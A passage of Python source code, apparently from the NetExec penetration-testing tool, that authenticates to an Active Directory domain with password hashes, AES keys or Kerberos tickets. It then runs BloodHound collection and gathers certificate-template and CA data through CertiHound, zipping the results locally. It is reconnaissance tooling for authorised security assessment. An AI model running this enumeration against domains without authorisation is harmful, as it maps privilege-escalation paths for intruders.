nt_hash=self.nthash, aeskey=self.aesKey, kdc=self.kdcHost, auth_method="auto", ldap_channel_binding=self.cbt_status == "Always" ) ad = AD( auth=auth, domain=self.targetDomain, nameserver=self.args.dns_server, dns_tcp=self.args.dns_tcp, dns_timeout=self.args.dns_timeout, ) self.logger.debug("Using DNS to retrieve domain information") try: ad.dns_resolve(domain=self.targetDomain) except (resolver.LifetimeTimeout, resolver.NoNameservers): self.logger.fail("Bloodhound-python failed to resolve domain information, try specifying the DNS server.") return if self.args.kerberos: self.logger.highlight("Using kerberos auth without ccache, getting TGT") auth.get_tgt() if self.args.use_kcache: self.logger.highlight("Using kerberos auth from ccache") auth.load_ccache() bloodhound = BloodHound(ad, self.hostname, self.host, self.port) bloodhound.connect() try: bloodhound.run( collect=bh_collect, num_workers=10, disable_pooling=False, timestamp=timestamp, fileNamePrefix=self.output_filename.split("/")[-1], computerfile=None, cachefile=None, exclude_dcs=False, ) except Exception as e: if "ldap3-bleeding-edge" in str(e): self.logger.fail("Bloodhound collection failed due to channel binding requirements. Inject 'ldap3-bleeding-edge': pipx inject netexec ldap3-bleeding-edge") return else: self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}") self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True) return # Collect ADCS data using CertiHound if requested if "adcs" in collect: adcs_files = self._collect_adcs_for_bloodhound(timestamp) self.logger.highlight(f"Compressing output into {self.output_filename}_bloodhound.zip") list_of_files = os.listdir(os.getcwd()) with ZipFile(f"{self.output_filename}_bloodhound.zip", "w") as z: for each_file in list_of_files: if each_file.startswith(self.output_filename.split("/")[-1]) and each_file.endswith("json"): z.write(each_file) os.remove(each_file) # Add ADCS files to the zip for adcs_file in adcs_files: if os.path.exists(adcs_file): z.write(adcs_file, os.path.basename(adcs_file)) os.remove(adcs_file) def _collect_adcs_for_bloodhound(self, timestamp): """Collect ADCS data using CertiHound for BloodHound CE integration. Args: timestamp: Timestamp prefix for output files. Returns: List of file paths to include in the BloodHound zip. """ self.logger.highlight("Collecting ADCS data (CertiHound)...") try: # Create CertiHound adapter and collector adapter = ImpacketLDAPAdapter( search_func=self.search, domain=self.targetDomain, domain_sid=self.sid_domain, ) collector = ADCSCollector.from_external( ldap_connection=adapter, domain=self.targetDomain, domain_sid=self.sid_domain, ) data = collector.collect_all() self.logger.highlight(f"Found {len(data.templates)} certificate templates") self.logger.highlight(f"Found {len(data.enterprise_cas)} Enterprise CAs") # Export to BloodHound CE format exporter = BloodHoundCEExporter(data.domain, data.domain_sid) result = exporter.export(data) # Write individual JSON files adcs_files = [] for node_type, content in result.to_dict().items(): filename = f"{timestamp}{node_type}.json" with open(filename, "w") as f: json.dump(content, f) adcs_files.append(filename) self.logger.debug(f"Wrote ADCS file: {filename}") return adcs_files except Exception as e: self.logger.fail(f"ADCS collection failed: {e}") self.logger.debug(f"ADCS collection error: {e}", exc_info=True) return []